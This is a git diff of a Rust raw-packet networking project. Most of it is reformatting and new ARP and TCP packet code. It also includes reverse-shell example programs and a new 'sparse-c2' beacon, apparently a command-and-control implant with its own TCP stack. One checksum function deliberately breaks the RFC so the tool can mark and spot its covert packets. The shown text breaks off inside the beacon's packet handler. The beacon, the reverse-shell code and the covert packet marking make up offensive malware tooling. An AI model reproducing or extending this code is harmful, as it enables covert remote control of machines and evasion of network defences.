continue; + }; let mut cmd = cmd.trim(); if amount == 0 { @@ -113,8 +130,10 @@ fn main() -> anyhow::Result<()> { }; match cmd.split(" ").collect::>()[..] { - ["exit"] => { break }, - ["cd", dir] => { cwd = dir.to_owned(); }, + ["exit"] => break, + ["cd", dir] => { + cwd = dir.to_owned(); + } _ => { let (lock, _) = &*stdout_inuse; let Ok(mut inuse) = lock.lock() else { diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index bd22cb6..89d7864 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -9,9 +9,13 @@ use pcap_sys::packets::*; #[tokio::main] async fn main() -> anyhow::Result<()> { - let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::()?; + let target = std::env::args() + .skip(1) + .next() + .ok_or(anyhow!("could not get target IP"))? + .parse::()?; - let (ifname, src_mac, dst_mac, srcip) = { + let (ifname, _, srcip, src_mac, dst_mac, _) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -19,11 +23,8 @@ async fn main() -> anyhow::Result<()> { let links = socket.get_links()?; let addrs = socket.get_addrs()?; - let (ifname, srcip, srcmac, dstmac) = - route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) - .ok_or(anyhow!("unable to find a route to the IP"))?; - - (ifname, srcmac, dstmac, srcip) + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) + .ok_or(anyhow!("unable to find a route to the IP"))? }; let mut interface = pcap_sys::new_aggregate_interface(false)?; @@ -56,12 +57,18 @@ async fn main() -> anyhow::Result<()> { match evt { EventType::Packet((_, Ok(pkt))) => { let eth_pkt = pkt.pkt(); - let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { continue; }; - let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = eth_pkt.get_layer3_pkt() else { + continue; + }; + let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else { + continue; + }; let data = udp_pkt.get_data(); - let Ok(resp_id) = TryInto::<[u8;4]>::try_into(&data[..4]) else { continue; }; + let Ok(resp_id) = TryInto::<[u8; 4]>::try_into(&data[..4]) else { + continue; + }; let resp_id = i32::from_be_bytes(resp_id); if sent_updates.contains_key(&resp_id) { diff --git a/examples/reverse-shell/server/src/main.rs b/examples/reverse-shell/server/src/main.rs index 3fbd3de..86a2933 100644 --- a/examples/reverse-shell/server/src/main.rs +++ b/examples/reverse-shell/server/src/main.rs @@ -6,7 +6,9 @@ fn main() -> anyhow::Result<()> { loop { let mut buf = [0u8; 4]; - let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { continue; }; + let Ok((amount, src)) = input.recv_from(&mut buf[..]) else { + continue; + }; if amount != 4 { continue; @@ -14,6 +16,8 @@ fn main() -> anyhow::Result<()> { println!("Received packet: {}", i32::from_be_bytes(buf)); - let Ok(_) = input.send_to(&buf, src) else { continue; }; + let Ok(_) = input.send_to(&buf, src) else { + continue; + }; } } diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index f973b53..9fbd512 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -146,7 +146,7 @@ pub fn get_macs_and_src_for_ip( neighs: &Cache, links: &Cache, addr: Ipv4Addr, -) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> { +) -> Option<(String, i32, Ipv4Addr, [u8; 6], [u8; 6], u8)> { let mut sorted_routes = routes.iter().collect::>(); sorted_routes.sort_by(|r1, r2| { @@ -170,7 +170,9 @@ pub fn get_macs_and_src_for_ip( 0 }; - let Ok(dst_addr): Result = (&dst).try_into() else { return false }; + let Ok(dst_addr): Result = (&dst).try_into() else { + return false; + }; let dst_addr: u32 = dst_addr.into(); (mask & dst_addr) == (mask & ip_int) @@ -180,8 +182,14 @@ pub fn get_macs_and_src_for_ip( #[cfg(debug_assertions)] { + println!("Link index: {link_ind}\n"); for link in links.iter() { - println!("Link {}: {:?} ({})", link.name(), link.addr(), link.ifindex()); + println!( + "Link {}: {:?} ({})", + link.name(), + link.addr(), + link.ifindex() + ); println!("\tAddrs:"); for addr in addrs.iter().filter(|addr| addr.ifindex() == link.ifindex()) { @@ -191,7 +199,10 @@ pub fn get_macs_and_src_for_ip( } println!("\tNeighbors:"); - for neigh in neighs.iter().filter(|neigh| neigh.ifindex() == link.ifindex()) { + for neigh in neighs + .iter() + .filter(|neigh| neigh.ifindex() == link.ifindex()) + { println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr()); } } @@ -210,9 +221,11 @@ pub fn get_macs_and_src_for_ip( Some(( link.name(), + link_ind, (&srcip.local()?).try_into().ok()?, link.addr().hw_address().try_into().ok()?, neigh, + route.dst().unwrap().cidrlen() as u8, )) } @@ -224,7 +237,9 @@ pub fn get_neigh_for_addr( addr: &Addr, ) -> Option<(Ipv4Addr, Link, [u8; 6])> { for link in links.iter() { - let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; }; + let Some(neigh) = link.get_neigh(&neighs, addr) else { + continue; + }; return Some((addr.try_into().ok()?, link, neigh)); } @@ -239,7 +254,7 @@ pub fn get_neigh_for_addr( }; let Some(first_hop) = def_neigh.hop_iter().next() else { - return None + return None; }; if n.ifindex() != first_hop.ifindex() { @@ -322,8 +337,12 @@ impl Addr { } // Determines the type of data in [`Addr::hw_address`] - pub fn atype(&self) -> c_int { - unsafe { nl_addr_get_family(self.addr) } + pub fn atype(&self) -> Option { + if self.addr.is_null() { + None + } else { + Some(unsafe { nl_addr_get_family(self.addr) }) + } } /// Returns the length of the subnet mask applying to this address @@ -334,8 +353,8 @@ impl Addr { impl Debug for Addr { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - match self.atype() { - AF_INET => { + let res = match self.atype() { + Some(AF_INET) => { let octets = self.hw_address(); f.debug_struct("Addr") .field( @@ -351,7 +370,7 @@ impl Debug for Addr { ) .finish() } - AF_LLC => { + Some(AF_LLC) => { let octets = self.hw_address(); f.debug_struct("Addr") @@ -359,22 +378,23 @@ impl Debug for Addr { "addr", &format!( "{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}", - octets[0], - octets[1], - octets[2], - octets[3], - octets[4], - octets[5], - ) + octets[0], octets[1], octets[2], octets[3], octets[4], octets[5], + ), ) .finish() } + None => f + .debug_struct("Addr") + .field("addr", &"unknown") + .field("atype", &"unknown") + .finish(), _ => f .debug_struct("Addr") .field("addr", &self.hw_address()) .field("atype", &self.atype()) .finish(), - } + }; + res } } @@ -551,7 +571,9 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option = (&dst).try_into() else { return false }; + let Ok(dst_addr): Result = (&dst).try_into() else { + return false; + }; let dst_addr: u32 = dst_addr.into(); (mask & dst_addr) == (mask & ip_int) diff --git a/packets/src/lib.rs b/packets/src/lib.rs index c25e73d..ba4f3a2 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -58,6 +58,17 @@ impl<'a> EthernetPkt<'a> { Ok(Layer3Pkt::IPv4Pkt(pkt)) } + 0x0806 => { + if self.data.len() < 42 { + return Err(error::Error::PacketLengthInvalid); + } + + let pkt = ARPPkt { + data: &self.data[14..], + }; + + Ok(Layer3Pkt::ARP(pkt)) + } p => Err(error::Error::UnknownPacketType(p)), } } @@ -71,6 +82,7 @@ impl<'a> EthernetPkt<'a> { pub enum Layer3Pkt<'a> { IPv4Pkt(IPv4Pkt<'a>), + ARP(ARPPkt<'a>), } pub struct IPv4Pkt<'a> { @@ -146,7 +158,13 @@ impl<'a> IPv4Pkt<'a> { pub fn get_layer4_packet(&self) -> error::Result> { match self.protocol() { - 17 => Ok(Layer4Pkt::UDP(UDPPkt { + // ICMP + 0x1 => Err(error::Error::UnknownPacketType(0x1)), + // TCP + 0x6 => Ok(Layer4Pkt::TCP(TCPPkt { + data: &self.data[(self.header_len() as usize)..], + })), + 0x11 => Ok(Layer4Pkt::UDP(UDPPkt { data: &self.data[(self.header_len() as usize)..], })), p => Err(error::Error::UnknownPacketType(p.into())), @@ -154,14 +172,61 @@ impl<'a> IPv4Pkt<'a> { } } +pub struct ARPPkt<'a> { + data: &'a [u8], +} + +impl<'a> ARPPkt<'a> { + pub fn htype(&self) -> u16 { + u16::from_be_bytes(self.data[0..2].try_into().unwrap()) + } + + pub fn ptype(&self) -> u16 { + u16::from_be_bytes(self.data[2..4].try_into().unwrap()) + } + + pub fn hwlen(&self) -> u8 { + self.data[4] + } + + pub fn plen(&self) -> u8 { + self.data[5] + } + + pub fn opcode(&self) -> u16 { + u16::from_be_bytes(self.data[6..8].try_into().unwrap()) + } + + pub fn srchwaddr(&self) -> &[u8] { + &self.data[8usize..8usize + self.hwlen() as usize] + } + + pub fn srcprotoaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + 8; + &self.data[start..start + self.plen() as usize] + } + + pub fn targethwaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + self.plen() as usize + 8; + &self.data[start..start + self.hwlen() as usize] + } + + pub fn targetprotoaddr(&self) -> &[u8] { + let start = self.hwlen() as usize + self.plen() as usize + self.hwlen() as usize + 8; + &self.data[start..start + self.plen() as usize] + } +} + pub enum Layer4Pkt<'a> { UDP(UDPPkt<'a>), + TCP(TCPPkt<'a>), } impl<'a> Layer4Pkt<'a> { pub fn len(&self) -> u16 { match self { Layer4Pkt::UDP(pkt) => pkt.len(), + Layer4Pkt::TCP(pkt) => pkt.data.len() as u16, } } @@ -202,6 +267,143 @@ impl<'a> UDPPkt<'a> { } } +pub struct TCPPkt<'a> { + data: &'a [u8], +} + +impl<'a> TCPPkt<'a> { + pub fn len(&self) -> u8 { + (self.data[12] >> 4) * 4 + } + + pub fn srcport(&self) -> u16 { + u16::from_be_bytes(self.data[0..2].try_into().unwrap()) + } + + pub fn dstport(&self) -> u16 { + u16::from_be_bytes(self.data[2..4].try_into().unwrap()) + } + + pub fn seqnumber(&self) -> u32 { + u32::from_be_bytes(self.data[4..8].try_into().unwrap()) + } + + pub fn acknumber(&self) -> u32 { + u32::from_be_bytes(self.data[8..12].try_into().unwrap()) + } + + pub fn flags(&self) -> u8 { + self.data[13] + } + + pub fn cwr(&self) -> bool { + self.flags() & 0x80 != 0 + } + + pub fn ece(&self) -> bool { + self.flags() & 0x40 != 0 + } + + pub fn urg(&self) -> bool { + self.flags() & 0x20 != 0 + } + + pub fn ack(&self) -> bool { + self.flags() & 0x10 != 0 + } + + pub fn psh(&self) -> bool { + self.flags() & 0x08 != 0 + } + + pub fn rst(&self) -> bool { + self.flags() & 0x04 != 0 + } + + pub fn syn(&self) -> bool { + self.flags() & 0x02 != 0 + } + + pub fn fin(&self) -> bool { + self.flags() & 0x01 != 0 + } + + pub fn window(&self) -> u16 { + u16::from_be_bytes(self.data[14..16].try_into().unwrap()) + } + + pub fn checksum(&self) -> u16 { + u16::from_be_bytes(self.data[16..18].try_into().unwrap()) + } + + pub fn urgent_ptr(&self) -> u16 { + u16::from_be_bytes(self.data[18..20].try_into().unwrap()) + } + + pub fn options(&self) -> &[u8] { + &self.data[20..(self.len() as usize)] + } + + pub fn data(&self) -> &[u8] { + &self.data[(self.len() as usize)..] + } + + pub fn verify_checksum(&self, srcip: I1, dstip: I2) -> bool + where + I1: Into, + I2: Into, + { + let source = srcip.into(); + let dest = dstip.into(); + + let protocol = &[0x00u8, 0x06u8]; + + let tcp_length = (self.data.len()) as u16; + + let len: u8 = (self.len()).try_into().unwrap(); + let len = len << 4; + + let bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &self.srcport().to_be_bytes()[..], + &self.dstport().to_be_bytes(), + &self.seqnumber().to_be_bytes(), + &self.acknumber().to_be_bytes(), + &[len], + &[self.flags()], + &self.window().to_be_bytes(), + &[0, 0], + &self.urgent_ptr().to_be_bytes(), + &self.options(), + &self.data(), + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + 30; + // + 30 to intentionally deviate from + // the RFC, to make it so that I can identify the packets as sparse + // packets + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + + checksum == self.checksum() + } +} + #[derive(Debug, Clone)] pub struct EthernetPacket { data: Vec, @@ -213,6 +415,9 @@ impl EthernetPacket { Layer3Packet::IPv4(pkt) => EthernetPacket { data: [&dst[..], &src[..], &[0x08_u8, 0x00_u8][..], &*pkt.data].concat(), }, + Layer3Packet::ARP(pkt) => EthernetPacket { + data: [&dst[..], &src[..], &[0x08_u8, 0x06_u8][..], &*pkt.data].concat(), + }, } } @@ -225,13 +430,74 @@ impl EthernetPacket { #[derive(Clone)] pub enum Layer3Packet { IPv4(IPv4Packet), + ARP(ARPPacket), +} + +#[derive(Clone)] +pub struct ARPPacket { + data: Vec, +} + +pub enum ARPMode { + Request, + Reply, +} + +impl ARPMode { + fn opcode(&self) -> u16 { + match self { + Self::Request => 1, + Self::Reply => 2, + } + } +} + +pub enum ARPProto { + IPv4, +} + +impl ARPProto { + fn opcode(&self) -> u16 { + match self { + Self::IPv4 => 0x0800, + } + } +} + +impl ARPPacket { + pub fn construct( + op: ARPMode, + proto: ARPProto, + srchwaddr: &[u8], + targethwaddr: &[u8], + srcprotoaddr: &[u8], + targetprotoaddr: &[u8], + ) -> ARPPacket { + assert!(srchwaddr.len() == targethwaddr.len()); + assert!(srcprotoaddr.len() == targetprotoaddr.len()); + + let data = [ + &0x0001u16.to_be_bytes()[..], + &proto.opcode().to_be_bytes()[..], + &[srchwaddr.len() as u8], + &[srcprotoaddr.len() as u8], + &op.opcode().to_be_bytes(), + srchwaddr, + srcprotoaddr, + targethwaddr, + targetprotoaddr, + ] + .concat(); + + ARPPacket { data } + } } static IPV4_ID: AtomicU16 = AtomicU16::new(0xabcd); #[derive(Clone)] pub struct IPv4Packet { - data: Vec, + pub data: Vec, } impl IPv4Packet { @@ -252,7 +518,8 @@ impl IPv4Packet { let ttl: u8 = 64; let protocol: u8 = match packet { - Layer4Packet::UDP(_) => 17, + Layer4Packet::UDP(_) => 0x11, + Layer4Packet::TCP(_) => 0x6, }; let source_upper = u16::from_be_bytes(source.octets()[0..2].try_into().unwrap()); @@ -290,6 +557,7 @@ impl IPv4Packet { &dest.octets(), match packet { Layer4Packet::UDP(pkt) => &*pkt.data, + Layer4Packet::TCP(pkt) => &*pkt.data, }, ] .concat(); @@ -306,12 +574,14 @@ impl IPv4Packet { #[derive(Clone)] pub enum Layer4Packet { UDP(UDPPacket), + TCP(TCPPacket), } impl Layer4Packet { pub fn pkt(&'_ self) -> Layer4Pkt<'_> { match self { Layer4Packet::UDP(pkt) => Layer4Pkt::UDP(pkt.pkt()), + Layer4Packet::TCP(pkt) => Layer4Pkt::TCP(pkt.pkt()), } } } @@ -345,3 +615,192 @@ impl UDPPacket { UDPPkt { data: &self.data } } } + +#[derive(Clone)] +pub struct TCPPacket { + data: Vec, +} + +impl TCPPacket { + #[inline] + pub fn pkt(&'_ self) -> TCPPkt<'_> { + TCPPkt { data: &self.data } + } +} + +#[derive(Default, Debug)] +pub struct TCPPacketBuilder { + srcport: Option, + dstport: Option, + seqnumber: Option, + acknumber: u32, + flags: u8, + window: Option, + urgent_ptr: u16, + options: Vec, +} + +macro_rules! declare_flag { + ($name:ident, $offset:expr) => { + pub fn $name(mut self, enable: bool) -> Self { + if enable { + self.flags |= $offset + } else { + self.flags &= (0xFF ^ $offset) + } + self + } + }; +} + +impl TCPPacketBuilder { + pub fn srcport(mut self, port: u16) -> Self { + self.srcport = Some(port); + self + } + + pub fn dstport(mut self, port: u16) -> Self { + self.dstport = Some(port); + self + } + + pub fn seqnumber(mut self, num: u32) -> Self { + self.seqnumber = Some(num); + self + } + + pub fn acknumber(mut self, num: u32) -> Self { + self.acknumber = num; + self + } + + declare_flag!(cwr, 0x80); + declare_flag!(ece, 0x40); + declare_flag!(urg, 0x20); + declare_flag!(ack, 0x10); + declare_flag!(psh, 0x08); + declare_flag!(rst, 0x04); + declare_flag!(syn, 0x02); + declare_flag!(fin, 0x01); + + pub fn window(mut self, window: u16) -> Self { + self.window = Some(window); + self + } + + pub fn urgent_ptr(mut self, ptr: u16) -> Self { + self.urgent_ptr = ptr; + self + } + + pub fn options(mut self, opts: Vec) -> Self { + self.options = opts; + self + } + + pub fn build( + self, + srcip: I1, + dstip: I2, + data: Vec, + checksum_offset: Option, + ) -> TCPPacket + where + I1: Into, + I2: Into, + { + let source = srcip.into(); + let dest = dstip.into(); + + let protocol = &[0x00u8, 0x06u8]; + + let tcp_length = (data.len() + self.options.len() + 20) as u16; + + let srcport = self.srcport.unwrap(); + let dstport = self.dstport.unwrap(); + let seqnumber = self.seqnumber.unwrap(); + let window = self.window.unwrap(); + + let mut options = self.options; + while options.len() % 4 != 0 { + options.push(0); + } + + let len: u8 = (options.len() / 4 + 5).try_into().unwrap(); + let len = len << 4; + + let mut bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &srcport.to_be_bytes()[..], + &dstport.to_be_bytes(), + &seqnumber.to_be_bytes(), + &self.acknumber.to_be_bytes(), + &[len], + &[self.flags], + &window.to_be_bytes(), + &[0, 0], + &self.urgent_ptr.to_be_bytes(), + &options, + &data, + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + (checksum_offset.unwrap_or(0) as u32); + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + let checksum = (!checksum).to_be_bytes(); + + //bytes[16] = checksum[0]; + //bytes[17] = checksum[1]; + bytes[28] = checksum[0]; + bytes[29] = checksum[1]; + + TCPPacket { + data: bytes[12..].to_vec(), + } + } +} + +#[cfg(test)] +mod test { + use std::net::Ipv4Addr; + + use crate::TCPPacketBuilder; + + #[test] + fn test_checksum() { + let tcp_packet = TCPPacketBuilder::default() + .srcport(57116) + .dstport(54248) + .seqnumber(0xaed77262) + .acknumber(0) + .syn(true) + .window(64240) + .options(vec![ + 0x02, 0x04, 0x05, 0xb4, 0x04, 0x02, 0x08, 0x0a, 0xd4, 0x06, 0xdf, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, + ]) + .build( + Ipv4Addr::new(10, 104, 18, 67), + Ipv4Addr::new(10, 104, 21, 16), + vec![], + None, + ); + + assert_eq!(tcp_packet.pkt().checksum(), 0x898d); + } +} diff --git a/pcap-sys/build.rs b/pcap-sys/build.rs index 115ba60..727da70 100644 --- a/pcap-sys/build.rs +++ b/pcap-sys/build.rs @@ -32,5 +32,5 @@ fn main() { // panic!("hahahahah test {}", dst.display()); println!("cargo:rustc-link-search=native={}/lib", dst.display()); - println!("cargo:rustc-link-lib=static=pcap"); + println!("cargo:rustc-link-lib=pcap"); } diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 47bf615..02b5c1e 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -255,7 +255,7 @@ impl Interface { } pub fn set_filter( - &mut self, + &self, filter: &str, optimize: bool, mask: Option, @@ -450,6 +450,18 @@ impl InterfaceStream { pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> { self.inner.get_mut().interface.sendpacket(packet) } + + pub fn set_filter( + &mut self, + filter: &str, + optimize: bool, + mask: Option, + ) -> error::Result> { + self.inner + .get_mut() + .interface + .set_filter(filter, optimize, mask) + } } impl Unpin for InterfaceStream {} diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 0000000..3a26366 --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1 @@ +edition = "2021" diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index c453776..f91dbc9 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -104,8 +104,12 @@ pub fn spawn_connection_handler( use packets::*; let packet = connection_packet.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else { + todo!() + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let data = udp_pkt.get_data(); @@ -197,8 +201,12 @@ fn authenticate( Ok(p) => { use packets::*; let p = p.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()? else { + todo!() + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else { counter += 1; @@ -245,8 +253,12 @@ where let msg = packet_handler.recv()?; let pkt = msg.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else { + todo!() + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport { continue; diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index 54b3c3d..e0c7f3e 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -110,8 +110,12 @@ impl InterfaceSender { Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?), Self::Udp(interf) => { use packets::*; - let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else { + todo!() + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport()); diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index 4e49b01..46f59df 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> { let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>(); thread::spawn(move || loop { - let Ok(packet) = recv_eth_packet.recv() else { continue }; + let Ok(packet) = recv_eth_packet.recv() else { + continue; + }; if let Err(_) = interface_sender.sendpacket(packet.pkt()) {} }); @@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> { s.spawn({ let connections = &connections; move || loop { - let Ok(connection) = kill_connection_recv.recv() else { continue }; + let Ok(connection) = kill_connection_recv.recv() else { + continue; + }; if let Ok(mut e) = connections.lock() { e.remove(&connection); } @@ -70,8 +74,12 @@ fn main() -> anyhow::Result<()> { let pkt = pkt.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else { + todo!() + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport()); diff --git a/sparse-c2/sparse-c2-beacon/Cargo.toml b/sparse-c2/sparse-c2-beacon/Cargo.toml new file mode 100644 index 0000000..4c8975b --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "sparse-c2-beacon" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } +nl-sys = { path = "../../nl-sys" } +sparse-c2-messages = { path = "../sparse-c2-messages" } +rand = "0.8.5" +tokio = { version = "1.32.0", features = ["full"] } +anyhow = "1.0.75" +tokio-stream = { version = "0.1.14", features = ["full"] } +#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } +libc = "0.2.148" +log = { version = "0.4.20", features = [ "kv_unstable" ] } +simple_logger = "4.2.0" +ringbuf = "0.3.3" +serde = { version = "1.0.193", features = ["derive"] } +serde_json = "1.0.108" +catconf = "0.1.2" diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs new file mode 100644 index 0000000..c5af605 --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -0,0 +1,570 @@ +use std::{ + collections::VecDeque, + mem::MaybeUninit, + net::{Ipv4Addr, SocketAddr}, + process::Stdio, + time::{Duration, Instant}, +}; + +use anyhow::{anyhow, bail, Context}; +use ringbuf::LocalRb; +use tokio::{ + io::Stdout, + process::Command, + sync::mpsc, + task, + time::{sleep, sleep_until}, +}; +use tokio_stream::StreamExt; + +use nl_sys::{netlink, route}; +use packets::{ + self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, + Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, +}; +use pcap_sys; +use sparse_c2_messages::{BeaconCommand, BeaconOptions}; + +struct PeerInfo { + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + local_port: u16, +} + +enum Timeout { + Idle { heartbeat: Option }, + Retransmit {}, +} + +#[derive(Default)] +struct TcpSocket { + tx_buffer: LocalRb; 65536]>, + rx_buffer: LocalRb; 65536]>, + first_ack: u32, + first_rack: u32, + local_seq_no: u32, + remote_seq_no: u32, + remote_last_ack: Option, + remote_last_win: u16, + local_rx_last_seq: Option, + local_rx_last_ack: Option, + state: TcpState, + peer_info: Option, + retransmit_timeout: Option, + last_packet_received: Option, +} + +impl TcpSocket {} + +#[derive(Default, Debug, Clone, Copy)] +enum TcpState { + Listen, + SynSent, + SynReceived, + Established, + FinWait1, + FinWait2, + CloseWait, + Closing, + LastAck, + TimeWait, + #[default] + Closed, +} + +enum TcpOptions { + EndOfList, + NoOp, + MaxSegmentSize(u16), +} + +impl TcpOptions { + fn get_bytes(&self) -> Vec { + match self { + Self::EndOfList => vec![0x00], + Self::NoOp => vec![0x01], + Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(), + } + } +} + +fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool { + if let Some(peer) = &socket.peer_info { + peer.local_addr == ip.dest_ip() + && peer.remote_addr == ip.source_ip() + && peer.local_port == tcp.dstport() + && peer.remote_port == tcp.srcport() + } else { + false + } +} + +async fn connect( + socket: &mut TcpSocket, + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + send_state_changed: &mpsc::Sender, +) -> (u16, TCPPacket) { + socket.state = TcpState::SynSent; + let local_port: u16 = loop { + let port = rand::random(); + if port > 40000 { + break port; + } + }; + let _ = send_state_changed.send(TcpState::SynSent).await; + socket.peer_info = Some(PeerInfo { + remote_addr, + remote_port, + local_addr, + local_port, + }); + + socket.local_seq_no = rand::random(); + socket.first_ack = socket.local_seq_no; + + let packet = TCPPacketBuilder::default() + .srcport(local_port) + .dstport(remote_port) + .syn(true) + .window(64240) + .seqnumber(socket.local_seq_no) + //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + .build(local_addr, remote_addr, vec![], None); + + (local_port, packet) +} + +fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result)>> { + Ok(None) +} + +async fn process_packet( + socket: &mut TcpSocket, + packet: TCPPkt<'_>, + send_state_changed: &mpsc::Sender, +) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec)>, Option>)> { + match (&socket.state, &socket.peer_info) { + (TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => { + log::debug!("established connection with peer"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.first_rack = packet.seqnumber(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.state = TcpState::Established; + let _ = send_state_changed.send(TcpState::Established).await; + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.fin() => { + log::debug!("Received fin!"); + + socket.remote_last_ack = Some(socket.local_seq_no); + 